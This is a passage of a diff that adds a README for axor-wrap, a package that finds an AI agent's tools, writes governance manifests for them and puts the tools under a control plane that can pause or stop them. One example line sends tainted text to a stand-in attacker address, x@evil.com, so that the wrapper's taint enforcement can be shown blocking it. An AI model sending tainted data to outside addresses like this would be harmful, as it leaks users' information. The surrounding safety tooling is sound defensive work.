+ detected = scan_project(Path("./my_agent"))
90
+ manifests = [build_manifest(t, infer_effect(t)) for t in detected]
91
+
92
+ toolset = WrappedToolset(tools, manifests) # needs axor-wrap[kernel]
93
+ try:
94
+ toolset.call("send_email", {"to": "x@evil.com", "body": tainted_text})
95
+ except ToolDenied as denial:
96
+ print(denial.category, denial.reason) # e.g. taint_enforcement: ...
97
+
98
+ # or, for frameworks that own their loop (LangChain executors, MCP servers):
99
+ from axor_wrap import wrap_callables
100
+ governed = wrap_callables(tools, manifests) # drop-in callables, one shared session
101
+ ```
102
+
103
+ ## What the scanner detects
104
+
105
+ | Pattern | Framework tag |
106
+ |---|---|
107
+ | `@tool` (any alias from `langchain_core.tools` / `langchain.tools`) | `langchain` |
108
+ | `StructuredTool.from_function(...)` | `langchain` |
109
+ | `Tool(name=..., func=...)` | `langchain` |
110
+ | `@mcp.tool()` / `@server.tool()` (incl. `x = FastMCP(...)` bindings) | `mcp` |
111
+ | dict literals with `{name, description, input_schema}` | `anthropic` |
112
+ | `subprocess.run/Popen/...`, `os.system` → implicit `shell` candidate | `implicit` |
113
+
114
+ Argument schemas are inferred from type hints (`str→string`, `int→integer`, `float→number`, `bool→boolean`; default present → optional). **Honesty rule:** anything not inferable stays a bare `{"type": "object"}` with `schema_confidence: "low"` — the scanner never invents types.
115
+
116
+ ## Manifest format
117
+
118
+ The embedded schema `axor_wrap/schemas/tool-manifest.schema.json` is a verbatim copy of **`axor-lab/contracts/schemas/tool-manifest.schema.json` — the axor-lab contracts are the source of truth**; this copy only removes the cross-repo import. `validate_manifest` checks against it with a minimal own subset validator (same approach as axor-lab's `lab_contracts/subset_validator.py`; no `jsonschema` dependency).
119
+
120
+ Compilation semantics match axor-lab's `compiled_governor_config`: effect class EXPORT/EXEC (default or any `resolve` rule) → `egress_sinks`; declared `untrusted_fields` → `untrusted_sources`; `effect.driving_args` → `driving_args`; a policy allowlist → an enum `value_policy` on each sink's first driving arg.
121
+
122
+ ## Status: what's real / not yet
123
+
124
+ **Real today**
125
+
126
+ - static detection of the 6 patterns above, with signature→schema inference;
127
+ - valid `tool-manifest/v1` output + embedded-schema validation;
128
+ - governor-config compilation with axor-lab's exact mapping semantics;
129
+ - `WrappedToolset` / `wrap_callables` driving the real `ToolCallGovernor` (extra `kernel`);
130
+ - `LabRuntimeConnector` — the full runtime-jobs handshake (connect / poll / claim / events / complete), tested against a protocol stub.
131
+ - `PlaneConnector` — a **live governed node on the Control Plane** (extra `plane`), built on this package's own `axor_wrap.plane` primitives (`PlaneSession`/`PlaneClient`): it registers, heartbeats (Control's topology shows the node with a level that mirrors its posture — `NORMAL` / `CAUTIOUS` / `RESTRICTED`), and subscribes to desired state over SSE, so an operator's **pause / stop / budget-cap** is applied to the node by real plane code. `PlaneConnector.gate(toolset)` binds that posture to a wrapped runtime, so a pause/stop actually **holds real tool execution** (`AdmissionHeld`), not just a session flag. Tested against a stdlib SSE plane-backend stub that pushes a real `{paused: true}` delta.
132
+ - `PlaneConnector.post_health_check(payload)` — the out-dial half of the behavioral health check. A node that runs an [axor-probe](https://github.com/Bucha11/axor-probe) battery posts the finished verdict to the plane, which renders it on its Health panel. The payload is `axor_probe.integration.plane.health_payload(report)`; the dict is the whole contract, so axor-wrap never imports axor-probe and a node that does not probe simply never calls this. Batteries are the node's to run: the plane has no inbound path into a runtime, and a health check is not an exception.
133
+
134
+ ```python
135
+ from axor_wrap import PlaneConnector, WrappedToolset
136
+
137
+ toolset = WrappedToolset(tools, manifests) # axor-wrap[kernel]
138
+ node = PlaneConnector("https://plane.example", "node-1", # axor-wrap[plane]
139
+ operator_keys={"ops": "<ed25519-hex>"})
140
+ node.connect()
141
+ node.gate(toolset) # paused/stopped node → toolset.call raises AdmissionHeld
142
+ await node.run(ttl=180) # heartbeat + desired-state loop until stop()/ttl
143
+
144
+ # and, if this node also probes itself for behavioral drift:
145
+ from axor_probe.integration.plane import health_payload # axor-probe, optional
146
+ report = await pipeline.run(event)
147
+ if report is not None:
148
+ await node.post_health_check(health_payload(report))
149
+ ```
150
+
151
+ **Not yet / honest limits**
152
+
153
+ - **Full IntentLoop-admission on live load**: `PlaneConnector` connects and gates tool calls at the intent boundary, but the deeper axor-core path — an operator injection / excision / replan winding a running `IntentLoop` down via `GovernedSession(executor=Invokable, admission=PlaneAdmission(session))` — needs the framework to hand axor-core an `Invokable` agent brain. The wrap model gates tools while the framework owns the invocation loop, so it exposes the posture gate (`admit`) rather than owning an `IntentLoop`. Adopting the full path is a per-framework integration, not a change to this connector.
154
+ - **Role inference is a heuristic** with `UNKNOWN` as a first-class outcome; final classification is a human decision in the config builder. In the manifest an `UNKNOWN` compiles **fail-closed to `EXEC`** (the tool lands in `egress_sinks` until reviewed); the raw guess + confidence + reason survive in `wrap.json`.
155
+ - The detector covers the 6 patterns listed — dynamically registered tools (loops building `Tool(...)` from data, decorators re-exported through helper modules, tools defined in non-Python config) are out of static reach and will not be found.
156
+ - `effect.resolve` rules, `result_schema`, `sensitive_fields`, simulation/reset strategies are not auto-generated — the manifest is a reviewed starting point, not a finished contract.
157
+
158
+ ## Development
159
+
160
+ ```bash
161
+ uv run --extra dev --extra plane pytest -q # the whole suite
162
+ python -m unittest discover -s tests -t . # the stdlib-only half, no axor-core needed
163
+ ruff check .
164
+ ```
165
+
166
+ `axor_wrap.plane`'s tests came over from axor-core verbatim (they pin protocol-v0.2
167
+ governance invariants, so they were moved rather than rewritten) and are pytest-native;
168
+ everything else is stdlib `unittest`, which pytest collects too.
169
+
170
+ License: Apache-2.0.